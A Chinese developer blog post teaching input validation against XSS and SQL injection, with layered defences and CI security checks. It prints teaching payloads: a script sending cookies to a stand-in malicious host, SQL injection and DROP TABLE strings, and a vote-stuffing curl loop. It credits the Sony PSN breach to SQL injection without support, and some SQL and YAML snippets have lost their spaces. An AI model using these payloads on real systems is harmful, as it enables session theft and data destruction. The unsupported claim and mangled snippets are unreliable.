这不是危言耸听,也不是什么新框架新工具。这是每个从坑里爬出来的开发者都会养成的本能:永远不要相信用户输入的任何东西。
一、真实事故:一个表单字段如何让整个系统沦陷
2021年,我接手过一个电商后台系统的安全修复项目。
客户反馈说管理员后台偶尔会弹出奇怪的广告弹窗,有时候还会跳转到博彩网站。最诡异的是,这个问题不是每次都出现,而是随机触发。
服务器日志干净得像洗过一样,没有异常请求,没有可疑IP,防火墙规则也没问题。
我开始逐个排查代码,最终在用户反馈模块发现了问题:
// 问题代码(简化版)
app.get('/admin/feedback', async (req, res) => {
const feedbacks = await db.query('SELECT * FROM feedbacks');
res.send(`
<html>
<body>
${feedbacks.map(f => `
<div class="feedback">
<h3>${f.title}</h3>
<p>${f.content}</p>
</div>
`).join('')}
</body>
</html>
`);
});
看出问题了吗?
这段代码直接把数据库的内容渲染到HTML中,没有任何过滤。
某个用户(或者说攻击者)在提交反馈时,填写的内容是这样的:
<script>
window.location.href = 'http://malicious-site.com?cookie=' + document.cookie;
</script>
这段脚本被存入数据库,然后在管理员查看反馈时执行。管理员的登录凭证就这样被发送到了攻击者的服务器上。
这就是最经典的存储型XSS(Stored Cross-Site Scripting)攻击。
更可怕的是,这个系统还有SQL注入漏洞。在搜索功能里,我发现了这样的代码:
app.get('/search', async (req, res) => {
const keyword = req.query.q;
const sql = `SELECT * FROM products WHERE name LIKE '%${keyword}%'`;
const results = await db.query(sql);
res.json(results);
});
只要攻击者在搜索框输入:
' OR '1'='1' --
完整的SQL就变成:
SELECT * FROM products WHERE name LIKE '%' OR '1'='1' --%'
-- 是SQL的注释符号,后面的内容会被忽略。'1'='1' 永远为真,这样攻击者就能拿到全部商品数据。
如果把输入改成:
'; DROP TABLE users; --
那就更惨了,整张用户表直接被删除。
二、为什么"永不信任输入"是安全的第一道防线
很多开发者以为安全是运维的事,或者是专门的安全团队负责的。
这是一个致命的误解。
就像淘宝、抖音、微信这些国民级应用,它们的安全不是靠防火墙和加密算法守住的,而是靠每一个后端接口、每一个前端组件、每一行处理用户数据的代码守住的。
阿里云、腾讯云提供的WAF(Web应用防火墙)确实能拦截很多攻击,但它们无法识别业务逻辑中的漏洞。
举个例子:
假设你做了一个在线投票系统,用户可以给心仪的选手投票。你在前端限制了"每个用户只能投一次票",但后端没有做校验。
攻击者用Postman或者cURL直接调用你的API:
for i in {1..10000}; do
curl -X POST https://api.example.com/vote \
-H "Content-Type: application/json" \
-d '{"candidate_id": 1}'
done
一个循环,一万票到手。
前端的任何限制,在攻击者眼里都等于没有。
这就是为什么我们需要养成一个习惯:
永远把所有输入当作恶意的,直到它被证明是安全的。
这个习惯听起来偏执,但它是区分"能写代码的人"和"能写安全代码的人"的分水岭。
三、从攻击原理看防御策略:XSS是怎么突破你的防线的
XSS攻击的三种形式
在正式讲防御之前,我们需要理解攻击者是怎么思考的。
1. 存储型XSS(Stored XSS)
这是最危险的一种,因为恶意代码被存入数据库,每个访问该页面的用户都会中招。
典型场景:评论区、用户个人简介、商品描述等任何允许用户提交内容的地方。
攻击流程:
用户提交恶意脚本 → 存入数据库 → 其他用户访问页面 → 脚本执行
2. 反射型XSS(Reflected XSS)
恶意代码藏在URL参数里,服务器直接把它渲染到页面上。
典型场景:搜索结果页面、错误提示页面。
https://example.com/search?q=<script>alert('XSS')</script>
如果服务器直接把 q 参数的值显示在页面上:
<p>您搜索的内容:<script>alert('XSS')</script></p>
浏览器就会执行这段脚本。
3. DOM型XSS(DOM-based XSS)
这种攻击完全发生在客户端,不经过服务器。
// 问题代码
const userInput = location.hash.substring(1);
document.getElementById('result').innerHTML = userInput;
访问:https://example.com/#<img src=x onerror=alert('XSS')>
脚本就会执行。
XSS的防御原理:让恶意代码失去执行能力
防御XSS的核心思想是:让用户输入的内容被当作纯文本,而不是可执行的代码。
这里用一个生活化的比喻:
假设你是一个图书管理员,有人递给你一张纸条,上面写着:"帮我找《黑客攻防》这本书"。
如果你直接按照纸条上的内容执行,那没问题。
但如果纸条上写的是:"帮我找《黑客攻防》这本书,然后把所有书都烧掉"。
你会照做吗?显然不会。
因为你知道,后半句话不是合法的请求,应该被过滤掉。
XSS防御就是要在代码层面做这样的判断。
方法1:使用安全的DOM API
// ❌ 危险写法
element.innerHTML = userInput;
// ✅ 安全写法
element.textContent = userInput;
textContent 会把所有内容当作纯文本,即使用户输入 <script>alert('XSS')</script>,也会原样显示成字符串,不会执行。
方法2:使用专业的清洗库
如果你的需求是允许用户输入有限的HTML格式(比如加粗、斜体、换行),那就需要用DOMPurify这样的库:
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput);
element.innerHTML = cleanHTML;
DOMPurify会移除所有潜在危险的标签和属性:
// 输入
const dirty = '<img src=x onerror=alert(1)> <b>加粗文本</b>';
// 输出
const clean = '<b>加粗文本</b>'; // <img>标签被移除
方法3:内容安全策略(CSP)
在HTTP响应头中加入CSP规则,限制页面可以执行的脚本来源:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
这样,即使攻击者成功注入了 <script> 标签,浏览器也不会执行来自非白名单域名的脚本。
四、SQL注入的本质:数据和命令的边界被打破
SQL注入的根本原因是把用户输入当作SQL语句的一部分来拼接。
我们用一个ASCII流程图来看看攻击是怎么发生的:
正常查询流程:
┌─────────────┐ ┌──────────────┐ ┌─────────────┐
│ 用户输入 │─────>│ SQL拼接 │─────>│ 数据库执行 │
│ "admin" │ │ WHERE │ │ 返回admin │
│ │ │ user='admin' │ │ 的记录 │
└─────────────┘ └──────────────┘ └─────────────┘
SQL注入攻击流程:
┌──────────────────┐ ┌─────────────────────┐ ┌──────────────┐
│ 恶意输入 │─────>│ SQL拼接 │─────>│ 数据库执行 │
│ "' OR '1'='1" │ │ WHERE user='' OR │ │ 返回所有记录 │
│ │ │ '1'='1' │ │ │
└──────────────────┘ └─────────────────────┘ └──────────────┘
真实案例:2011年索尼PlayStation Network数据泄露
2011年,索尼的PlayStation Network遭遇了史上最严重的安全事故之一,7700万用户的个人信息被泄露,包括姓名、地址、邮箱、密码,甚至部分信用卡信息。
事后调查发现,攻击者利用了一个简单的SQL注入漏洞,类似这样的代码:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
攻击者在用户名字段输入:
admin' --
SQL语句就变成:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'
-- 后面的内容被注释掉了,密码校验直接被绕过。
这个漏洞导致索尼关闭服务23天,损失高达1.71亿美元,还不包括声誉损失。
SQL注入的防御:让数据永远是数据
防御SQL注入的核心是使用参数化查询(Parameterized Query),也叫预编译语句(Prepared Statement)。
错误做法:字符串拼接
// ❌ 永远不要这样做
const email = req.body.email;
const query = `SELECT * FROM users WHERE email = '${email}'`;
const user = await db.query(query);
正确做法:参数化查询
// ✅ Node.js + PostgreSQL
const email = req.body.email;
const query = 'SELECT * FROM users WHERE email = $1';
const user = await db.query(query, [email]);
// ✅ Node.js + MySQL
const email = req.body.email;
const query = 'SELECT * FROM users WHERE email = ?';
const [rows] = await db.query(query, [email]);
为什么参数化查询能防注入?
因为参数化查询把数据和命令分离了。
在执行SQL时,数据库引擎会先编译SQL语句的结构,然后再把参数的值填充进去。参数的值永远被当作纯数据,不会被解释为SQL命令的一部分。
用一个形象的比喻:
- 字符串拼接就像直接让陌生人进你家,并且允许他在墙上随便涂鸦。
- 参数化查询就像给陌生人一个透明的玻璃箱,他只能在箱子里活动,不能对房子本身做任何事。
使用ORM框架
现代的ORM(对象关系映射)框架大多默认使用参数化查询:
// Sequelize (Node.js ORM)
const user = await User.findOne({
where: { email: req.body.email }
});
// Prisma
const user = await prisma.user.findUnique({
where: { email: req.body.email }
});
// TypeORM
const user = await userRepository.findOne({
where: { email: req.body.email }
});
这些ORM会自动处理参数转义,你基本不需要担心SQL注入。
但注意一个陷阱:如果你在ORM中使用原始SQL,还是有风险的。
// ❌ 仍然不安全
const email = req.body.email;
const user = await sequelize.query(
`SELECT * FROM users WHERE email = '${email}'`
);
// ✅ ORM的原始查询也要用参数化
const user = await sequelize.query(
'SELECT * FROM users WHERE email = :email',
{ replacements: { email: req.body.email } }
);
五、输入验证的完整防御体系:从前端到后端
很多人以为XSS和SQL注入是两个独立的问题,其实它们的防御策略可以统一成一套体系。
第一层:Schema验证(结构层防御)
在数据进入业务逻辑之前,先验证它的结构、类型和范围。
import { z } from'zod';
// 定义数据结构
const registerSchema = z.object({
username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
email: z.string().email(),
password: z.string().min(8).max(100),
age: z.number().int().positive().max(150)
});
// 验证请求
app.post('/register', async (req, res) => {
const result = registerSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: '输入数据格式错误',
details: result.error.errors
});
}
// 通过验证后才能继续
const validatedData = result.data;
// ...
});
这种验证能拦住大部分格式不正确的攻击。
比如:
- 用户名字段期望
string,攻击者传入 { "$ne": null } 这种MongoDB注入payload,Schema验证会直接拒绝。 - 年龄字段期望
number,攻击者传入 "18<script>alert(1)</script>",Schema验证会报错。
第二层:业务逻辑验证(语义层防御)
通过Schema验证后,数据格式是对的,但不一定符合业务规则。
// Schema验证:email格式正确
// 业务验证:email是否已被注册
const existingUser = await db.query(
'SELECT * FROM users WHERE email = $1',
[validatedData.email]
);
if (existingUser.length > 0) {
return res.status(409).json({ error: '该邮箱已被注册' });
}
第三层:输出时清洗(展示层防御)
即使数据通过了前两层验证,在输出到前端时仍然要小心。
在React中:
// ✅ React默认会转义
function UserProfile({ user }) {
return (
<div>
<h1>{user.name}</h1> {/* 自动转义 */}
<p>{user.bio}</p>
</div>
);
}
// ❌ 危险:绕过了React的自动转义
function UserProfile({ user }) {
return (
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
);
}
在Vue中:
<!-- ✅ Vue默认会转义 -->
<template>
<div>
<p>{{ user.bio }}</p>
</div>
</template>
<!-- ❌ 危险:v-html会直接渲染HTML -->
<template>
<div v-html="user.bio"></div>
</template>
如果确实需要渲染用户提交的HTML(比如富文本编辑器的内容),必须先清洗:
import DOMPurify from 'dompurify';
function RichTextDisplay({ content }) {
const cleanContent = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: []
});
return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />;
}
第四层:数据库层防御(存储层防御)
使用参数化查询已经讲过了,这里补充一个最佳实践:最小权限原则。
不要让应用程序使用数据库的root账号或高权限账号。
// ❌ 危险:使用超级管理员账号
const db = new Pool({
user: 'root',
password: 'admin123',
database: 'myapp',
host: 'localhost',
port: 5432
});
// ✅ 安全:使用专门的应用账号,只有特定表的读写权限
const db = new Pool({
user: 'myapp_user',
password: process.env.DB_PASSWORD,
database: 'myapp',
host: 'localhost',
port: 5432
});
在数据库层面设置权限:
-- 创建一个只有特定权限的用户
CREATEUSER myapp_user WITHPASSWORD'secure_password';
-- 只允许访问特定数据库
GRANTCONNECTONDATABASE myapp TO myapp_user;
-- 只允许对特定表进行增删改查,禁止DROP TABLE等危险操作
GRANTSELECT, INSERT, UPDATE, DELETEONusers, products, orders TO myapp_user;
这样即使SQL注入成功了,攻击者也无法执行 DROP DATABASE 这样的毁灭性命令。
六、CI/CD中的自动化安全检查:把漏洞扼杀在上线前
安全不应该依赖程序员的记忆力,而应该集成到开发流程中。
1. ESLint插件检测不安全的模式
// .eslintrc.js
module.exports = {
plugins: ['security'],
extends: ['plugin:security/recommended'],
rules: {
'security/detect-object-injection': 'error',
'security/detect-non-literal-regexp': 'warn',
'security/detect-unsafe-regex': 'error',
'no-eval': 'error',
'no-implied-eval': 'error'
}
};
这些规则能检测出:
2. Semgrep静态分析
Semgrep可以扫描代码中的安全模式。
# .semgrep.yml
rules:
-id:sql-injection-risk
pattern:|
db.query($SQL, ...)
message:"可能存在SQL注入风险,请使用参数化查询"
severity:ERROR
languages:[javascript,typescript]
-id:xss-innerhtml
pattern:|
$EL.innerHTML = $INPUT
message:"直接使用innerHTML可能导致XSS,请使用textContent或DOMPurify"
severity:WARNING
languages:[javascript,typescript]
在CI中运行:
# .github/workflows/security.yml
name:SecurityCheck
on:[push,pull_request]
jobs:
security:
runs-on:ubuntu-latest
steps:
-uses:actions/checkout@v3
-name:RunSemgrep
uses:returntocorp/semgrep-action@v1
with:
config:.semgrep.yml
3. 依赖安全扫描
定期检查依赖包的已知漏洞:
# npm
npm audit fix
# Yarn
yarn audit
# 使用Snyk
npx snyk test
在package.json中添加precommit钩子:
{
"husky": {
"hooks": {
"pre-commit": "npm audit --audit-level=high"
}
}
}
七、真实场景实战:电商系统的完整防御
假设我们要做一个类似淘宝的商品评论功能,用户可以发表评论,其他用户可以看到。
这是一个典型的XSS高危场景,因为:
后端实现
import express from'express';
import { z } from'zod';
import DOMPurify from'isomorphic-dompurify';
import { db } from'./database';
const app = express();
// Schema验证
const commentSchema = z.object({
productId: z.number().int().positive(),
userId: z.number().int().positive(),
content: z.string().min(1).max(500),
rating: z.number().int().min(1).max(5)
});
// 提交评论接口
app.post('/api/comments', async (req, res) => {
// 第一层:Schema验证
const validation = commentSchema.safeParse(req.body);
if (!validation.success) {
return res.status(400).json({
error: '输入数据不符合要求',
details: validation.error.errors
});
}
const { productId, userId, content, rating } = validation.data;
// 第二层:HTML清洗
const cleanContent = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'br'],
ALLOWED_ATTR: []
});
// 第三层:参数化查询存储
try {
await db.query(
`INSERT INTO comments (product_id, user_id, content, rating, created_at)
VALUES ($1, $2, $3, $4, NOW())`,
[productId, userId, cleanContent, rating]
);
res.json({ success: true });
} catch (error) {
console.error('数据库错误:', error);
res.status(500).json({ error: '评论提交失败' });
}
});
// 获取评论接口
app.get('/api/comments/:productId', async (req, res) => {
const productId = parseInt(req.params.productId);
if (isNaN(productId) || productId <= 0) {
return res.status(400).json({ error: '商品ID无效' });
}
// 参数化查询获取评论
const comments = await db.query(
`SELECT c.*, u.username, u.avatar
FROM comments c
JOIN users u ON c.user_id = u.id
WHERE c.product_id = $1
ORDER BY c.created_at DESC
LIMIT 50`,
[productId]
);
res.json(comments);
});
前端实现(React)
import { useState, useEffect } from'react';
import DOMPurify from'dompurify';
function CommentSection({ productId }) {
const [comments, setComments] = useState([]);
const [newComment, setNewComment] = useState('');
const [rating, setRating] = useState(5);
useEffect(() => {
fetch(`/api/comments/${productId}`)
.then(res => res.json())
.then(data => setComments(data));
}, [productId]);
const handleSubmit = async (e) => {
e.preventDefault();
// 前端也做基础验证(但不能依赖它)
if (newComment.length === 0 || newComment.length > 500) {
alert('评论长度必须在1-500字之间');
return;
}
const response = await fetch('/api/comments', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
productId,
userId: currentUser.id,
content: newComment,
rating
})
});
if (response.ok) {
setNewComment('');
// 重新加载评论列表
const updatedComments = await fetch(`/api/comments/${productId}`);
setComments(await updatedComments.json());
}
};
return (
<div className="comments">
<form onSubmit={handleSubmit}>
<textarea
value={newComment}
onChange={(e) => setNewComment(e.target.value)}
placeholder="写下你的评价..."
maxLength={500}
/>
<select value={rating} onChange={(e) => setRating(Number(e.target.value))}>
<option value={5}>5星 - 非常满意</option>
<option value={4}>4星 - 满意</option>
<option value={3}>3星 - 一般</option>
<option value={2}>2星 - 不满意</option>
<option value={1}>1星 - 非常不满意</option>
</select>
<button type="submit">提交评论</button>
</form>
<div className="comment-list">
{comments.map(comment => (
<div key={comment.id} className="comment">
<img src={comment.avatar} alt={comment.username} />
<div>
<strong>{comment.username}</strong>
<div className="rating">{'⭐'.repeat(comment.rating)}</div>
{/* React会自动转义,不需要额外处理 */}
<p>{comment.content}</p>
<span>{new Date(comment.created_at).toLocaleDateString()}</span>
</div>
</div>
))}
</div>
</div>
);
}
这套防御体系的关键点
- 多层防御:前端验证(用户体验) → Schema验证(结构正确性) → HTML清洗(内容安全) → 参数化查询(存储安全)
- 默认安全:使用框架的默认行为(React自动转义),而不是手动处理
- 白名单策略:只允许特定的HTML标签,而不是黑名单式地禁止危险标签
八、"零信任"思维:不仅是用户输入,一切外部数据都不可信
"永不信任输入"这个原则可以扩展得更广:
不要信任第三方API的数据
即使是大厂的API,也可能返回异常数据。
// ❌ 危险
const userData = await fetch('https://api.third-party.com/user/123');
const user = await userData.json();
document.getElementById('profile').innerHTML = user.bio; // XSS风险
// ✅ 安全
const userData = await fetch('https://api.third-party.com/user/123');
const rawUser = await userData.json();
// 验证数据结构
const userSchema = z.object({
id: z.number(),
name: z.string(),
bio: z.string()
});
const user = userSchema.parse(rawUser); // 如果数据不符合预期,会抛出异常
// 清洗后再使用
document.getElementById('profile').textContent = user.bio;
不要信任环境变量
在生产环境中,环境变量可能被篡改或配置错误。
// ❌ 危险
const dbHost = process.env.DB_HOST;
const connection = createConnection(`mongodb://${dbHost}`);
// ✅ 安全:验证环境变量
const envSchema = z.object({
DB_HOST: z.string().regex(/^[\w\.\-]+$/), // 只允许域名格式
DB_PORT: z.string().regex(/^\d+$/),
DB_NAME: z.string().regex(/^[\w\-]+$/)
});
const env = envSchema.parse(process.env);
const connection = createConnection({
host: env.DB_HOST,
port: parseInt(env.DB_PORT),
database: env.DB_NAME
});
不要信任上传的文件
文件上传是另一个高危区域。
import multer from'multer';
import sharp from'sharp';
import { z } from'zod';
const upload = multer({
limits: {
fileSize: 5 * 1024 * 1024// 限制5MB
},
fileFilter: (req, file, cb) => {
// 白名单验证MIME类型
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!allowedMimes.includes(file.mimetype)) {
return cb(newError('只允许上传图片文件'));
}
cb(null, true);
}
});
app.post('/upload', upload.single('avatar'), async (req, res) => {
if (!req.file) {
return res.status(400).json({ error: '未检测到文件' });
}
try {
// 使用sharp重新编码图片,移除可能的恶意EXIF数据
const processedImage = await sharp(req.file.buffer)
.resize(800, 800, { fit: 'inside' })
.jpeg({ quality: 80 })
.toBuffer();
// 生成随机文件名,防止路径遍历攻击
const filename = `${Date.now()}-${Math.random().toString(36)}.jpg`;
// 存储到专门的静态资源目录
await fs.writeFile(`/var/www/uploads/${filename}`, processedImage);
res.json({ url: `/uploads/${filename}` });
} catch (error) {
console.error('图片处理失败:', error);
res.status(500).json({ error: '文件处理失败' });
}
});
九、终极检查清单:把防御变成肌肉记忆
把这个检查清单贴在你的工作台上:
✅ 接口开发检查清单
每次写接口时都问自己:
- [ ] 这个接口的所有参数都有Schema验证吗?
- [ ] 返回给前端的数据是否包含敏感信息(密码、token)?
- [ ] 错误信息是否泄露了系统细节(数据库类型、文件路径)?
✅ 前端开发检查清单
每次渲染用户数据时都问自己:
- [ ] 用的是
textContent 还是 innerHTML? - [ ] 如果必须用
innerHTML,有没有先用DOMPurify清洗? - [ ] React/Vue的自动转义有没有被
dangerouslySetInnerHTML 或 v-html 绕过?
✅ Code Review检查清单
审查他人代码时重点看:
- [ ]
eval() 或 Function() 的使用
✅ CI/CD检查清单
- [ ] 是否有依赖安全扫描(npm audit / Snyk)?
十、写在最后:从"能跑"到"安全地跑"
我认识的很多开发者,包括我自己最开始写代码的时候,都有一个毛病:只要功能能跑起来就满足了。
用户能注册、能登录、能下单、能支付,产品经理验收通过,项目按时上线。
然后某天凌晨三点,运维给你打电话:"数据库被人删了,所有用户数据都没了。"
或者更隐蔽的,你的系统被当作肉鸡,攻击者用它来挖矿、发垃圾邮件、DDoS攻击其他网站。
这时候你才意识到,"能跑"和"安全地跑"是两回事。
好消息是,安全不需要你成为密码学专家,不需要你研究渗透测试,不需要你背诵OWASP Top 10。
你只需要养成一个习惯:
永远不要相信任何你没有亲手创建的数据。
这个习惯会让你在写每一行涉及外部数据的代码时,本能地多问一句:
这不是偏执,这是职业素养。
阿里云、腾讯云、字节跳动这些大厂每天要处理亿级的请求,他们的系统能稳定运行,不是因为他们有多高明的防御技术,而是因为每一个后端工程师都把输入验证当作呼吸一样自然的事情。
从明天开始,给自己定一个小目标:
找出你当前项目中的一个表单、一个API接口,或者一个数据库查询,问问自己:"如果用户输入恶意数据,我的代码会怎样?"
如果答案是"我不知道",那就花10分钟加上验证和清洗。
这10分钟,可能会救你免于加班到天亮、免于被客户骂、免于职业生涯留下污点。
好的代码不仅能工作,还能在攻击者面前岿然不动。